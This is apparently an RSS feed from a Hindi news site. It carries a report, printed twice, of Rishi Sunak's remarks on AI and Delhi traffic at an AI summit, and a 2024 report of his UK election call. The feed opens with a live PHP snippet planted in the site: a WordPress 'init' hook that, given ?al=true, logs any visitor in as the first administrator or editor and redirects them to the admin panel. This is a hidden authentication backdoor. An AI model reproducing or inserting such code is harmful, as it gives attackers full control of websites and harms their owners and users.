// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); PM Rishi Sunak – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 20 Feb 2026 10:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ‘एआई सब कर सकता है, पर दिल्ली का ट्रैफिक नहीं सुधार सकता’ — ब्रिटेन के पूर्व PM ऋषि सुनक का तंज https://pratyushaashakinayikiran.com/?p=199431 Fri, 20 Feb 2026 10:15:00 +0000 https://pratyushaashakinayikiran.com/?p=199431 नई दिल्ली

ऋषि सुनक ने राजधानी दिल्ली के भारत मंडपम में आयोजित AI इंपैक्ट समिट के कार्यक्रम में पहुंचने में देरी होने पर हल्के-फुल्के अंदाज़ में दिल्ली के ट्रैफिक पर तंज कसा। उन्होंने मंच से कहा कि सेशन के लेट शुरू होने की जिम्मेदारी उनकी है और मजाकिया लहजे में जोड़ा “एआई बहुत सारी समस्याओं को कम कर सकता है, लेकिन दिल्ली का ट्रैफिक कम करना उसके लिए भी मुश्किल है।” उनकी इस टिप्पणी पर कार्यक्रम में मौजूद लोगों ने मुस्कुराते हुए प्रतिक्रिया दी। सुनक का यह बयान दिल्ली के भारी ट्रैफिक की ओर इशारा करता है, जो अक्सर बड़े आयोजनों और व्यस्त समय में और बढ़ जाता है।

भारत से अच्छी इसके लिए कोई जगह नहीं-सुनक
ऋषि सुनक ने एआई इंपैक्ट समिट में भारत की जमकर सराहना करते हुए कहा कि एआई ट्रांसफॉर्मेशन पर चर्चा के लिए भारत से बेहतर जगह कोई नहीं हो सकती। उन्होंने कहा कि आर्टिफिशियल इंटेलिजेंस से केवल विकसित देशों को ही नहीं, बल्कि विकासशील देशों को भी बड़ा लाभ मिलने वाला है। सुनक के मुताबिक, दुनिया को एक ऐसे नियमित फोरम की जरूरत है जहां तकनीक और एआई पर गंभीर चर्चा हो सके।

सुनक ने यह भी कहा कि नरेंद्र मोदी के नेतृत्व में ऐसा प्लेटफॉर्म उपलब्ध हुआ है, जहां यह समझने का मौका मिल रहा है कि एआई किस तरह वैश्विक स्तर पर बदलाव ला सकता है। उनके अनुसार, यह मंच विकसित और विकासशील देशों के बीच तकनीकी सहयोग बढ़ाने और एआई के फायदे को व्यापक रूप से साझा करने में अहम भूमिका निभा सकता है।

ऋषि सुनक ने एआई इंपैक्ट समिट के इस सेशन में कहा कि आर्टिफिशियल इंटेलिजेंस सबके लिए होना चाहिए, और इसी उद्देश्य से इस मंच पर “एआई इंपैक्ट” पर चर्चा की जा रही है। उन्होंने भारत की सराहना करते हुए कहा कि भारत ने एआई की क्षमता को बहुत अच्छी तरह समझा है, इसलिए यहां इसे बड़े स्तर पर लागू करने की बात हो रही है। सुनक के अनुसार, एआई से आम जनता को वास्तविक लाभ पहुंचाने के लिए बड़ा टैलेंट पूल, मजबूत डिजिटल इन्फ्रास्ट्रक्चर, सपोर्टिव टेक्नोलॉजी इकोसिस्टम की जरूरत होती है, और भारत इन क्षेत्रों में तेजी से आगे बढ़ रहा है।

सुनक ने यह भी कहा कि एआई को लेकर दुनिया में अलग-अलग दृष्टिकोण हैं। उनके मुताबिक, भारत में एआई को लेकर जबरदस्त आशावाद और भरोसा है, जबकि पश्चिमी देशों में फिलहाल चिंता ज्यादा दिखाई देती है। उन्होंने कहा कि इस भरोसे के अंतर को पाटना केवल तकनीकी नहीं, बल्कि नीतिगत चुनौती भी है। अब एआई पर वैश्विक बहस तकनीक से आगे बढ़कर रणनीति पर केंद्रित हो गई है। सुनक के शब्दों में “मुद्दा अब यह नहीं है कि ये उपकरण क्या कर सकते हैं, बल्कि यह है कि देश इनके साथ क्या करना चुनते हैं।”

ऋषि सुनक ने एआई इंपैक्ट समिट में कहा कि राजनीतिक नेतृत्व के लिए आर्टिफिशियल इंटेलिजेंस अब हाशिये का विषय नहीं, बल्कि सरकारों की केंद्रीय जिम्मेदारी बन चुका है। उन्होंने जोर देकर कहा कि प्रौद्योगिकी के क्षेत्र में नेतृत्व केवल नए आविष्कार करने से तय नहीं होता, बल्कि इस बात से भी तय होता है कि किसी देश द्वारा उस तकनीक को किस तरह लागू किया जाता है और समाज तक उसका लाभ कैसे पहुंचाया जाता है।

सुनक के मुताबिक, भारत एआई के क्षेत्र में नेतृत्व करने की मजबूत स्थिति में है। इसके पीछे उन्होंने तीन प्रमुख कारण बताए गहरी प्रतिभा संपदा (टैलेंट पूल),मजबूत डिजिटल सार्वजनिक अवसंरचना, प्रौद्योगिकी के प्रति बेहद सकारात्मक जनमानस उन्होंने कहा कि इन कारकों के कारण भारत में एआई की व्यापक स्वीकार्यता दिखाई दे रही है, जो देश को न केवल एआई अपनाने बल्कि समाज में इसके बड़े पैमाने पर उपयोग और तैनाती का उदाहरण पेश करने में सक्षम बनाती है।

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‘एआई सब कर सकता है, पर दिल्ली का ट्रैफिक नहीं सुधार सकता’ — ब्रिटेन के पूर्व PM ऋषि सुनक का तंज https://pratyushaashakinayikiran.com/?p=199432 Fri, 20 Feb 2026 10:15:00 +0000 https://pratyushaashakinayikiran.com/?p=199432 नई दिल्ली

ऋषि सुनक ने राजधानी दिल्ली के भारत मंडपम में आयोजित AI इंपैक्ट समिट के कार्यक्रम में पहुंचने में देरी होने पर हल्के-फुल्के अंदाज़ में दिल्ली के ट्रैफिक पर तंज कसा। उन्होंने मंच से कहा कि सेशन के लेट शुरू होने की जिम्मेदारी उनकी है और मजाकिया लहजे में जोड़ा “एआई बहुत सारी समस्याओं को कम कर सकता है, लेकिन दिल्ली का ट्रैफिक कम करना उसके लिए भी मुश्किल है।” उनकी इस टिप्पणी पर कार्यक्रम में मौजूद लोगों ने मुस्कुराते हुए प्रतिक्रिया दी। सुनक का यह बयान दिल्ली के भारी ट्रैफिक की ओर इशारा करता है, जो अक्सर बड़े आयोजनों और व्यस्त समय में और बढ़ जाता है।

भारत से अच्छी इसके लिए कोई जगह नहीं-सुनक
ऋषि सुनक ने एआई इंपैक्ट समिट में भारत की जमकर सराहना करते हुए कहा कि एआई ट्रांसफॉर्मेशन पर चर्चा के लिए भारत से बेहतर जगह कोई नहीं हो सकती। उन्होंने कहा कि आर्टिफिशियल इंटेलिजेंस से केवल विकसित देशों को ही नहीं, बल्कि विकासशील देशों को भी बड़ा लाभ मिलने वाला है। सुनक के मुताबिक, दुनिया को एक ऐसे नियमित फोरम की जरूरत है जहां तकनीक और एआई पर गंभीर चर्चा हो सके।

सुनक ने यह भी कहा कि नरेंद्र मोदी के नेतृत्व में ऐसा प्लेटफॉर्म उपलब्ध हुआ है, जहां यह समझने का मौका मिल रहा है कि एआई किस तरह वैश्विक स्तर पर बदलाव ला सकता है। उनके अनुसार, यह मंच विकसित और विकासशील देशों के बीच तकनीकी सहयोग बढ़ाने और एआई के फायदे को व्यापक रूप से साझा करने में अहम भूमिका निभा सकता है।

ऋषि सुनक ने एआई इंपैक्ट समिट के इस सेशन में कहा कि आर्टिफिशियल इंटेलिजेंस सबके लिए होना चाहिए, और इसी उद्देश्य से इस मंच पर “एआई इंपैक्ट” पर चर्चा की जा रही है। उन्होंने भारत की सराहना करते हुए कहा कि भारत ने एआई की क्षमता को बहुत अच्छी तरह समझा है, इसलिए यहां इसे बड़े स्तर पर लागू करने की बात हो रही है। सुनक के अनुसार, एआई से आम जनता को वास्तविक लाभ पहुंचाने के लिए बड़ा टैलेंट पूल, मजबूत डिजिटल इन्फ्रास्ट्रक्चर, सपोर्टिव टेक्नोलॉजी इकोसिस्टम की जरूरत होती है, और भारत इन क्षेत्रों में तेजी से आगे बढ़ रहा है।

सुनक ने यह भी कहा कि एआई को लेकर दुनिया में अलग-अलग दृष्टिकोण हैं। उनके मुताबिक, भारत में एआई को लेकर जबरदस्त आशावाद और भरोसा है, जबकि पश्चिमी देशों में फिलहाल चिंता ज्यादा दिखाई देती है। उन्होंने कहा कि इस भरोसे के अंतर को पाटना केवल तकनीकी नहीं, बल्कि नीतिगत चुनौती भी है। अब एआई पर वैश्विक बहस तकनीक से आगे बढ़कर रणनीति पर केंद्रित हो गई है। सुनक के शब्दों में “मुद्दा अब यह नहीं है कि ये उपकरण क्या कर सकते हैं, बल्कि यह है कि देश इनके साथ क्या करना चुनते हैं।”

ऋषि सुनक ने एआई इंपैक्ट समिट में कहा कि राजनीतिक नेतृत्व के लिए आर्टिफिशियल इंटेलिजेंस अब हाशिये का विषय नहीं, बल्कि सरकारों की केंद्रीय जिम्मेदारी बन चुका है। उन्होंने जोर देकर कहा कि प्रौद्योगिकी के क्षेत्र में नेतृत्व केवल नए आविष्कार करने से तय नहीं होता, बल्कि इस बात से भी तय होता है कि किसी देश द्वारा उस तकनीक को किस तरह लागू किया जाता है और समाज तक उसका लाभ कैसे पहुंचाया जाता है।

सुनक के मुताबिक, भारत एआई के क्षेत्र में नेतृत्व करने की मजबूत स्थिति में है। इसके पीछे उन्होंने तीन प्रमुख कारण बताए गहरी प्रतिभा संपदा (टैलेंट पूल),मजबूत डिजिटल सार्वजनिक अवसंरचना, प्रौद्योगिकी के प्रति बेहद सकारात्मक जनमानस उन्होंने कहा कि इन कारकों के कारण भारत में एआई की व्यापक स्वीकार्यता दिखाई दे रही है, जो देश को न केवल एआई अपनाने बल्कि समाज में इसके बड़े पैमाने पर उपयोग और तैनाती का उदाहरण पेश करने में सक्षम बनाती है।

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ब्रिटेन में 4 जुलाई को मध्यावधि चुनाव का पीएम सुनक नेआह्वान किया, उपलब्धियां गिनाईं https://pratyushaashakinayikiran.com/?p=33436 Thu, 23 May 2024 15:06:00 +0000 https://pratyushaashakinayikiran.com/?p=33436 लंदन

ब्रिटिश प्रधानमंत्री ऋषि सुनक ने बुधवार को आम चुनाव का ऐलान कर दिया है. उन्होंने मतदान के लिए 4 जुलाई की तारीख तय की है. कई महीनों की अटकलों को खत्म करते हुए अपनी ऑफिस के बाहर एक प्रेस कॉन्फ्रेंस में उन्होंने कहा कि वह कुछ लोगों की उम्मीदों से पहले चुनाव का ऐलान कर रहे हैं.

माना जा रहा है कि उन्हें इस चुनाव में नुकसान ही सामना करना पड़ सकता है और 14 साल से सत्ता पर काबिज उनकी अगुवाई वाली कंजर्वेटिव पार्टी को सत्ता गंवानी पड़ सकती है. ऋषि सुनक ने कहा, "अब ब्रिटेन के लिए अपना भविष्य चुनने और यह तय करने का समय आ गया है कि क्या वह हमारे द्वारा की गई प्रगति को आगे बढ़ाना चाहता है या फिर उसी स्तर पर वापस जाने का जोखिम उठाना चाहता है, जिसकी कोई निश्चितता नहीं है."

चुनाव का सामना करने जा रहे सुनक न सिर्फ लेबर पार्टी से पीछे हैं, बल्कि राजनीतिक विशेषज्ञों का मानना ​​है कि वह अपनी कंजर्वेटिव पार्टी पर नियंत्रण स्थापित करने के लिए संघर्ष कर रहे हैं. सुनक ने आठ साल में पांचवें प्रधानमंत्री के रूप में लिज ट्रस के इस्तीफे के बाद अक्टूबर 2022 में शपथ ली थी, जो सिर्फ 44 दिनों तक ही सत्ता में रही थीं.

कहा जाता है कि ऋषि सुनक के प्रधानमंत्री बनने के बाद ब्रिटेन में कुछ बड़े आर्थिक सुधार किए गए हैं. यही वजह है कि उन्होंने आश्चर्यजनक रूप से चुनाव का ऐलान कर दिया. मसलन, सुनक की अगुवाई में महंगाई में कमी आई है और लगभग तीन सालों में सबसे तेज आर्थिक विकास दर्ज किया गया है.

क्या बोले ऋषि सुनक?

ऋषि प्रधानमंत्री बनने से पहले देश के वित्त मंत्री थे, जिन्होंने कोरोनाकाल में ब्रिटेन को आर्थिक मोर्चे पर संभाला था. उन्होंने अपने इस काम के सहारे प्रधानमंत्री तक का सफर तय किया.

अब जबकि चुनाव सर पर है, सुनक का कहना है, "अगले कुछ हफ्तों में, मैं हर वोट के लिए लड़ूंगा. मैं आपका विश्वास अर्जित करूंगा और साबित करूंगा कि सिर्फ मेरे नेतृत्व वाली कंजर्वेटिव सरकार हमारी कड़ी मेहनत से अर्जित आर्थिक स्थिरता को खतरे में नहीं डालेगी."

कंजर्वेटिव और लेबर पार्टी में आरोप-प्रत्यारोप

इस बीच, कंजर्वेटिव पार्टी और लेबर दोनों ने पहले ही आर्थिक और रक्षा मुद्दों पर अपने रुख साफ कर चुकी है. सुनक की सरकार का दावा है कि लेबर पार्टी टैक्स बढ़ा देगी और देश का हालात खराब कर देगी. सुनक की सरकार का कहना है कि लेबर पार्टी के पास एक अस्थिर वैश्विक पिरिदृश्य में ब्रिटेन की सुरक्षा सुनिश्चित करने के लिए कोई ठोस प्लान नहीं है.

लेबर पार्टी ने कंजर्वेटिव पार्टी पर '14 वर्षों के आर्थिक कुप्रबंधन, नागरिकों को बदतर स्थिति में छोड़ने और व्यवसाय विकास के लिए आवश्यक स्थिरता सुनिश्चित करने में विफल रहने का आरोप लगाया. लेबर पार्टी ने चुनाव के ऐलान का स्वागत किया है.

घोषणा पर प्रतिक्रिया देते हुए लेबर पार्टी के प्रमुख सर कीर स्टार्मर ने कहा कि यह एक ऐसा क्षण है, जिसकी देश को जरूरत है और वह इसका इंतजार कर रहा है।

उन्होंने चुनाव अभियान को बेहतर भविष्य सुरक्षित करने का अवसर बताते हुए कहा कि यह समुदायों और देश को बदलने का समय है।

स्टार्मर ने कहा कि लेबर पार्टी पिछले कुछ वर्षों में बदल गई है और देश के लिए ऐसा करने का मौका मांगती है, यह वादा करते हुए कि वह ब्रिटेन को कामकाजी लोगों की सेवा में वापस लाएगी।

उन्होंने वादा किया कि यह नदियों में सीवेज बहाए जाने, ए एंड ई में इलाज के लिए इंतजार कर रहे लोगों जैसी चीजों को उलट देगा और बढ़ती बंधक और खाद्य कीमतों की प्रवृत्ति को उलट देगा।

स्टार्मर ने कहा, लेबर के लिए वोट स्थिरता के लिए वोट है, और एक ऐसी राजनीति के लिए वोट है जो हल्के ढंग से चलती है और अराजकता को रोकती है।

उन्होंने कहा, ''यह बदलाव का समय है।''

लिबरल डेमोक्रेट नेता, सर एड डेवी ने कहा कि आम चुनाव "ऋषि सुनक की कंजर्वेटिव सरकार को सत्ता से बाहर करने और जनता जिस बदलाव की मांग कर रही है, उसे लाने का मौका होगा।

 

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